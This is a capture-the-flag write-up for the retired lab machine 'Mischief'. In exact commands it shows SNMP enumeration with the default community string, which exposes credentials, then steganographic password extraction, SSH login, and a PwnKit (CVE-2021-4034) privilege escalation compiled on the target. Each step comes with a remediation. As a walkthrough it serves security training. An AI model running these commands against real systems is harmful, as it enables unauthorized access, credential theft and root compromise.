Mischief
Summary
A UDP scan of $TARGET uncovered SNMP on port 161. Walking the process table with the unauthenticated default community string 'public' exposed the full command line of a running Python HTTP server — including its Basic-auth credentials (loki's password) and the non-standard port it served (3366).
Logging into port 3366 with those credentials surfaced a JPEG image; extracting hidden content from that image with the first password as the steganographic passphrase yielded a second credential, which opened an SSH session as user loki and delivered the user flag. Post-foothold enumeration confirmed the host ran pkexec 0.105, unpatched against CVE-2021-4034 (PwnKit).
A glibc mismatch prevented running a locally-compiled exploit binary on the target, so the exploit source was transferred and compiled directly on the target using its own gcc, producing a root shell within seconds. The root flag was hidden outside /root/ at an unusual compiler-library path, requiring a full filesystem search to find.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 2
UDP top-100 scan — discovers SNMP on 161/udp.
$ nmap -sU --top-ports 100 -Pn -T4 $TARGETThe whole TCP range, because the interesting service here is not on a port anyone would guess.
$ nmap -sV -p- --min-rate 5000 -Pn $TARGETExact commands 3
Walk process-name table to identify running services.
$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.2Walk process-argument table — exposes full command lines including embedded credentials.
$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.25.4.2.1.5The IP-address table, which hands back the host's IPv6 address as a decimal-encoded OID suffix. Worth having: a firewall that filters IPv4 often does not filter the same host's IPv6.
$ snmpwalk -v1 -c public -On $TARGET .1.3.6.1.2.1.4.34FixDisable or harden SNMP and stop embedding credentials in process argumentsCritical
Exact commands 2
Confirm authenticated access and enumerate available files.
$ curl -g -sS -i --max-time 10 -u "loki:$PASSWORD3" http://$TARGET:3366/Download the image for credential extraction.
$ curl -g -sS --max-time 10 -u "loki:$PASSWORD3" -o loki.jpg http://$TARGET:3366/loki.jpgExact commands 3
Inspect image metadata for embedded text or suspicious comments.
$ exiftool loki.jpgDump all printable strings from the raw file.
$ strings -a loki.jpgAttempt steganographic extraction using the first credential as the passphrase.
$ steghide extract -sf loki.jpg -p "$PASSWORD3"FixRemove credentials embedded in media files and enforce SSH key-only authenticationHigh
Exact commands 2
Open an interactive SSH session as loki.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null loki@$TARGETConfirm account context and read the user flag (value: <user.txt>).
$ id && cat /home/loki/user.txt
uid=1000(loki)Exact commands 4
Confirm vulnerable pkexec version on the target.
$ dpkg-query -W -f='${Package} ${Version}\n' policykit-1 && /usr/bin/pkexec --versionThe directory has to exist before anything is copied into it.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no loki@$TARGET 'mkdir -p /tmp/pwk'Compiled on the target rather than here: an exploit against pkexec has to match the glibc it runs beside.
$ sshpass -p "$PASSWORD2" scp pwnkit.c pwnkitlib.c loki@$TARGET:/tmp/pwk/Expect uid=0(root). The bug is in pkexec's handling of an empty argument vector, so nothing on disk needs to be setuid but pkexec itself.
$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no loki@$TARGET 'cd /tmp/pwk && gcc pwnkit.c -o pwnkit-exploit && gcc -shared -fPIC pwnkitlib.c -o pwnkit.so && ./pwnkit-exploit'FixPatch policykit-1 to eliminate CVE-2021-4034 (PwnKit) local privilege escalationCritical
Exact commands 3
A decoy. Worth reading before assuming the shell failed.
$ cat /root/root.txtSearch the full filesystem for all root.txt files.
$ find / -maxdepth 6 -name root.txt 2>/dev/nullRead the real root flag (value: <root.txt>).
$ cat /usr/lib/gcc/x86_64-linux-gnu/7/root.txt